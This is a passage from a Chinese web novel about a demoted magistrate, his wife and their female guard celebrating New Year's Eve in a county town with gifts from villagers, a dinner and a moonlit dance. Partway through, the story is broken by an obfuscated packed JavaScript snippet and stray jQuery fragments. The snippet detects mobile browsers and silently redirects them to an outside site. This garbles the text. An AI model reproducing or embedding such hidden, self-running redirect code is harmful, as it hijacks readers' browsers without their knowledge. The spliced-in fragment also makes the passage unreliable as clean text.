方怀瑾忙侧身请众人进去。
众人走进院中,纷纷对着方怀瑾和香凝躬身作揖,七嘴八舌地说着“新年好”“大人夫人吉祥”等吉祥话。
站在最前面的赵家大哥,感念方怀瑾将他家的良田从陶景嵩手里讨回来,送来一袋沉甸甸的小米和一包自家炒熟的花生:“乡下人没什么好东西,这都是地里长的,给方大人方夫人尝尝,感谢方大人为我们讨回公道,祝大人和夫人长命百岁和和美美。”
曾受香凝救治头疾的婆婆颤巍巍递上一个盖着蓝布的小竹篮:“这是家里养的鸡下的蛋,给方大人方夫人添个菜补补身子。”
还有郭秀才的兄长送来一对小巧玲珑的竹编灯笼:“这是咱们自家铺子编的,不值什么钱,但新年挂在院子里,图个亮堂喜庆,大人和夫人千万别嫌弃。”
这一波百姓还没送完,门口又走进来七八个百姓,个个手里也都拿着年礼,说是感谢方大人方夫人对他们的照顾,特意来拜个年。
他们送的东西都不贵重,或是田间地头自产的,或是费了时间心思亲手做的,但已是他们清贫的生活中所能拿出来的最好的东西。
香凝看着这些朴实却充满厚重情意的年礼,心头泛起热意,眼眶也不由湿起来。
方怀瑾更是感动。从前他在京中为官,虽也一心为百姓谋福,但更让他有成就感的是皇帝的嘉奖官位的晋升。而现在他如此近距离地接触这些底层百姓,感受着他们质朴又浓烈的谢意,他突然对于为官者身上的责任有了更深刻的认知。
他忽然觉着从前他所执着的身份、家族、仕途的青云直上,在眼前这些活生生的百姓面前都显得虚浮而渺小。
他是来做官的,为官一任,就应造福一方。
陶园县,是他施展才干的地方,不是偏远冷清的贬谪地。
方怀瑾终于彻底走出了心里的阴霾。他将百姓们送的年礼收下,又和香凝、姜宛一起将自家准备的年货、银钱作为年礼转送回去。
百姓们看着那些明显比自己送出去的东西昂贵的年礼,纷纷摆手不敢要:“我们是来给方大人方夫人拜年的,怎好意思要方大人的东西?何况还是那么贵重的东西?”
方怀瑾笑着劝道:“你们来给本官和夫人拜年,贵重的是一片心意,而非年礼所值的银钱本身。同样,本官回赠给你们,也是本官和夫人的心意,不必推辞。”
方怀瑾语气真挚,毫无官员的架子,百姓们渐渐也放下了心里的忐忑和不安,收下了方怀瑾的回礼。
如此,一上午都在收礼和回礼中过去。
下午,方怀瑾、香凝、姜宛正在院中贴福字和春联,院门又一次响了。
姜宛去开门,这一次来的是王信。他手里提着两个油纸包,肩上还背着一张鹿皮,一看见姜宛,就笑着说道:“师父过年好!”
姜宛笑着点了点头:“你也过年好!”她将王信迎进院子,以为他和今日来的其他人一样,是来向方怀瑾拜年的。但王信只将手提的两包腊肉送给方怀瑾,简单说了一些拜年的吉祥话后,就又来找她。
王信的那张鹿皮是送给姜宛的:“这是我去山上特意为师父打的。用师父教我的刀法,果然很好用。听人说用鹿皮铺床很是暖和舒服,师父拿去铺着试试。”
姜宛第一次收到弟子送的正经礼物,又是惊讶又是欣喜。她接过那张鹿皮,宝贝地摸着:“多谢你的礼物,我很喜欢。”
王信憨笑地挠了挠头:“是我该多谢师父,师父不嫌我从前冒犯无理,教了我许多真功夫。”王信顿了顿又道,“我娘知道师父教了我这么多本事,想请师父去我们家坐坐,喝口粗茶,当面谢一谢您。不知师父肯不肯赏光?”
姜宛得弟子和家人如此看重,心里是很想去的。但她毕竟是方怀瑾和香凝的护卫,今日又是除夕,让她抛下方凝二人径自去王信家中,她觉着不合适。
她婉拒道:“多谢你娘亲一片心意,只是方大人这里还有事没做完,改日好不好?”
香凝知姜宛心中顾虑,笑着说道:“也不剩什么事了,我和夫君做就是了。难得老人家一片心意,你和王捕快去吧。”
方怀瑾也劝道:“夫人说的正是,老人家一片心意不好辜负。你只管放心去,我们这儿不用担心。”
姜宛闻言点了点头,语气中带着不自觉的雀跃:“那我去一趟,很快就回来。”
香凝朝她摆摆手:“放心去吧,今日是除夕,你也好好松快松快,不必急着回来。”
“嗯。”姜宛不再推拒,将鹿皮小心地放回房间收好后,就随王信走了。
院子里只剩下香凝和方怀瑾两人。香凝带着几分欣慰的语气和方怀瑾说道:“真好。姜姑娘一直想像她父亲一般授徒传艺,如今她收了王捕快做弟子,王捕快又这样敬重她,总算是一尝夙愿。”
方怀瑾走到她身边,握住她的手,也感慨道:“是啊。没想到这小小陶园县,竟是大有所为。从前我那些郁郁不得志的念头,实在是狭隘了。”
姜宛去了小半个时辰,回来时手里又拿了王信娘亲送的一盒豆腐和一罐山楂蜜糖,面上也满是笑容。
香凝笑着打趣了她几句,三人就开始忙活做年夜饭。
经过这几个月的摸索,香凝和姜宛的厨艺都有不小的进步,方怀瑾也挽起袖子听她们差遣,烧火递物清洗菜蔬碗筷,配合得默契有度。
一盘栗子烧鸡色泽红亮汁浓味美,一盘黎蒿炒腊肉金黄青绿脆嫩爽口,一盆冬笋牛肉煲汤底浓郁炖的软烂,还有香凝特意为方怀瑾学做的鱼脍,鱼片薄嫩各类佐料搭了十几个小碟子,再配上从集市上买回来的蜜饯果子和屠苏酒。一桌年夜饭虽无山珍海味,但也热气腾腾色香味俱全。
他们在院中的石桌上落座,一边赏着天上的圆月,一边说说笑笑吃着年夜饭。
过去一年,他们都经历了许多事情。
方怀瑾仕途起起伏伏,攀到过众人仰望的高位,又在最得意之时重重跌落。各种辛酸冷暖几乎都遍尝之后,如今在这陶园县,虽只有小小县令之职,但他每天都在做实事,和百姓民生从如此之近,他的心境竟比在京城居于高位时还充实自得。
香凝从一心依赖方怀瑾到独立去医馆行医、卖绣品赚钱、再到种植药材,短短一年她干了过去许多年想都不敢想的事。能凭着自己的力量做成事,这种感觉很好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244416|192384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜宛的心里更是热浪翻涌。一年前她还在集市上受尽冷落白眼,没人相信一个女子能练就厉害的刀法。但这一年她遇到了方怀瑾,方怀瑾赏识她,雇佣她护卫自己的妻子。香凝又是一个温柔和气的主顾,如亲姐姐一般照拂她关心她。再后来她跟着方凝二人来到陶园县,收了一个让她意想不到的弟子。姜家的刀法,竟先在这陶园县里开了花。
他们都很高兴,对着即将到来的新年充满了期待和向往。
饭后,皎洁的满月升上中天,清辉洒遍院落。香凝喝了酒已有些微醉,她心里高兴,忽得生起一种冲动,想要舒展筋骨在这月色下跳上一舞。
香凝的舞技是江南最好的教习师父严苛教出来的,每一个动作、每一个眼神,甚至连呼吸的节奏都被严格规定,稍有差错不是被藤条打就是被罚饿肚子。
她曾在扬州画舫上为徐老爷跳过一舞,敷着厚重的脂粉,打扮得像是进献的贺礼,极尽逢迎献媚,只为让那暴戾好色的徐老爷喜欢她收下她。
跳舞于她,充满了苦痛和屈辱的记忆。
方怀瑾是端庄守礼的正人君子,自从那日在画舫被他救走后,香凝再没有跳过舞,也不必跳舞。
但在这个令人欢喜的除夕夜,在皎洁的月光下,她忽然想要跳舞。不是为了取悦谁讨好谁,只是想表达这满心快要溢出来的欢愉。
她站起身,舒展手臂,缓缓舞了起来。
她长期疏于练习,动作并不算复杂,更像是随性而舞。但她身姿婀娜腰肢柔软,脸上挂着纯粹享受的笑容,反倒有一种自然灵动的美感。她完全沉浸在舞蹈之中,只觉得身子无比轻盈,心境无比开阔,过往的种种屈辱苦痛都在这一舞中涤荡一空。
方怀瑾看着月下翩然起舞的香凝,忽得想起他上一次看她起舞,还是在扬州画舫上。
那时候的香凝,只把舞技当成讨好攀附的手段。但现在,她舞蹈不是为了取悦旁人,只是因为她心中欢喜,她在为她自己而舞。
方怀瑾头一次发现,舞蹈也是可以言志的。此刻正在舞蹈的香凝,舒展、自由、从心而外的丰盈快乐。
连姜宛也被香凝感染,回房间取了横刀在院中舞将起来。
月光下,一人舞蹈一人舞刀,红衣翩跹蓝衣飒爽,竟别有一番意境情趣。
香凝跳着跳着,忽得又跳到方怀瑾身边,她笑着拉起他的手,邀请他一起舞。
方怀瑾一怔,他自幼受士族教育,一言一行皆需克制守礼,别说是随性而舞,就是从前在京中观赏宴会上的舞蹈都是淡然自持的。他下意识想摇头,但他看向香凝的眼眸,那里面是纯粹的喜悦和浓烈的期盼。
鬼使神差的,他没有拒绝,起身由她引领着。
“夫君莫慌,很简单的。”香凝狡黠地眨了眨眼,语调带着明显的醉意,又娇又媚。
她引领着方怀瑾,教他伸展手臂旋转舞动。
方怀瑾对舞蹈全然陌生,连手脚都拘谨得不知道该怎么放,但见香凝兴头十足,便也一直任由她指挥着展臂旋转。他想他的动作必然很是笨拙,但他不在意。这样好的日子,这样好的月色,香凝又这样开心,他举止笨拙又有什么要紧?